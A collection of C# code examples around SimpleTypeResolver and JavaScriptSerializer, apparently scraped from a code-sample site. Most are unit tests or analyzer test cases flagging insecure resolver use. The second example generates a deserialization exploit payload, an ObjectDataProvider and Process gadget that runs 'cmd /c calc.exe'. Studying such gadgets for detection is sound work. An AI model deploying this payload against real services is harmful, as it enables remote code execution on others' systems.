Пример #1
0
 public StatefulTypeResolver()
 {
     RegisteredTypes  = new Dictionary <string, Type>();
     FallbackResolver = new SimpleTypeResolver();
     AllowFallback    = true;
     FallbackFirst    = false;
 }
Пример #2
0
        static void SerPayload()
        {
            var pStartInf = new ProcessStartInfo();

            pStartInf.FileName  = "cmd";
            pStartInf.Arguments = "/c calc.exe";
            StringDictionary dict  = new StringDictionary();
            Type             t     = pStartInf.GetType();
            FieldInfo        field = t.GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic);

            field.SetValue(pStartInf, dict);


            var proc = new Process();

            proc.StartInfo = pStartInf;

            var obj = new ObjectDataProvider();

            obj.MethodName           = "Start";
            obj.IsInitialLoadEnabled = false;
            obj.ObjectInstance       = proc;

            var s = new SimpleTypeResolver();
            JavaScriptSerializer jss = new JavaScriptSerializer(s);
            string payload           = jss.Serialize(pStartInf);

            Console.WriteLine(payload);
        }
Пример #3
0
        public void ResolveTypeFine()
        {
            SimpleTypeResolver r = new SimpleTypeResolver();

            Assert.AreEqual(typeof(string), r.ResolveType("string"), "#1");
            Assert.AreEqual(typeof(double), r.ResolveType("number"), "#2");
            Assert.AreEqual(typeof(bool), r.ResolveType("boolean"), "#3");
            Assert.AreEqual(typeof(void), r.ResolveType("null"), "#4");
            Assert.AreEqual(typeof(Array), r.ResolveType("array"), "#5");
            Assert.AreEqual(typeof(object), r.ResolveType("object"), "#6");
        }
Пример #4
0
        static void Method()
        {
            JavaScriptSerializer serializer = new JavaScriptSerializer();

            serializer = new JavaScriptSerializer(new SimpleTypeResolver());
            var resolver = new SimpleTypeResolver();

            serializer = new JavaScriptSerializer(null);
            serializer = new JavaScriptSerializer(resolver);
            // Unsafe 4
        }
Пример #5
0
        public void ResolveTypeIdFine()
        {
            SimpleTypeResolver r = new SimpleTypeResolver();

            Assert.AreEqual(typeof(string).AssemblyQualifiedName, r.ResolveTypeId(typeof(string)), "#1");
            Assert.AreEqual(typeof(double).AssemblyQualifiedName, r.ResolveTypeId(typeof(double)), "#2");
            Assert.AreEqual(typeof(bool).AssemblyQualifiedName, r.ResolveTypeId(typeof(bool)), "#3");
            Assert.AreEqual(typeof(void).AssemblyQualifiedName, r.ResolveTypeId(typeof(void)), "#4");
            Assert.AreEqual(typeof(Array).AssemblyQualifiedName, r.ResolveTypeId(typeof(Array)), "#5");
            Assert.AreEqual(typeof(object).AssemblyQualifiedName, r.ResolveTypeId(typeof(object)), "#6");

            Assert.AreEqual(typeof(float).AssemblyQualifiedName, r.ResolveTypeId(typeof(float)), "#7");
        }